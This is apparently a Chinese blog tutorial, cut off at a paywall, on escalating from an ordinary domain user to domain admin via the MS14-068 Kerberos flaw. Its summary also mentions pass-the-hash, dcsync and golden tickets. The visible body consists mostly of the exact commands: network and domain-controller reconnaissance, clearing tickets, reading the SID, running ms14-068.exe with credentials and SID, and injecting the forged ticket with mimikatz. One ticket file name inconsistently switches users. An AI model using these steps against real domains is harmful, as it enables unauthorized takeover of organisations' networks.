本文详细介绍了如何利用MS14-068漏洞进行内网渗透，从获取普通域用户权限开始，通过Klist、mimikatz等工具进行票证操作，实现域控提权。接着，利用Psexec进行HASH传递攻击，并通过dcsync命令获取域内用户HASH信息。最后，讲述了如何生成和利用黄金票证维持管理员权限，整个过程深入浅出，涉及多种安全攻防技术。
MS14-068漏洞提权（限制条件：打了补丁或者域中有Win2012/2012R2的域控）：
首先，需要拥有一台域内普通用户（假设为用户A）账户权限，知道此账户的账号密码。然后依次执行如下命令
1.
Ipconfig /all //查询本机IP段，所在域等；记录所在的域的名字
Net group “domain controllers” /domain 查看域控制器
所以所在的域全名 WIN-DTHKV3MCSKH.dc.com
2.
Klist purge //清除本机所有票证
Whoami /all //查询SID值 ，记录SID值
利用工具包中（工具包在文章末尾提供下载-内有详细的图文说明）的MS14-068.exe 执行如下命令
“ms14-068.exe -u lisi@dc.com -p “1qaz@WSX” -s S-1-5-21-1382597820-942189592-943616189-1104 -d WIN-DTHKV3MCSKH.dc.com
-u 域用户名
-p 域用户密码
-s 记录的SID
-d 域控名字”
之后会在此软件同目录下生成一个名为TGT_kim@contoso.com.ccache 的票证；
利用mimikatz将票证注入内存中：
mimikatz.exe “kerberos::ptc TGT_lisi@dc.com.ccache” exit
最低0.47元/天 解锁文章
扫一扫
1209
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
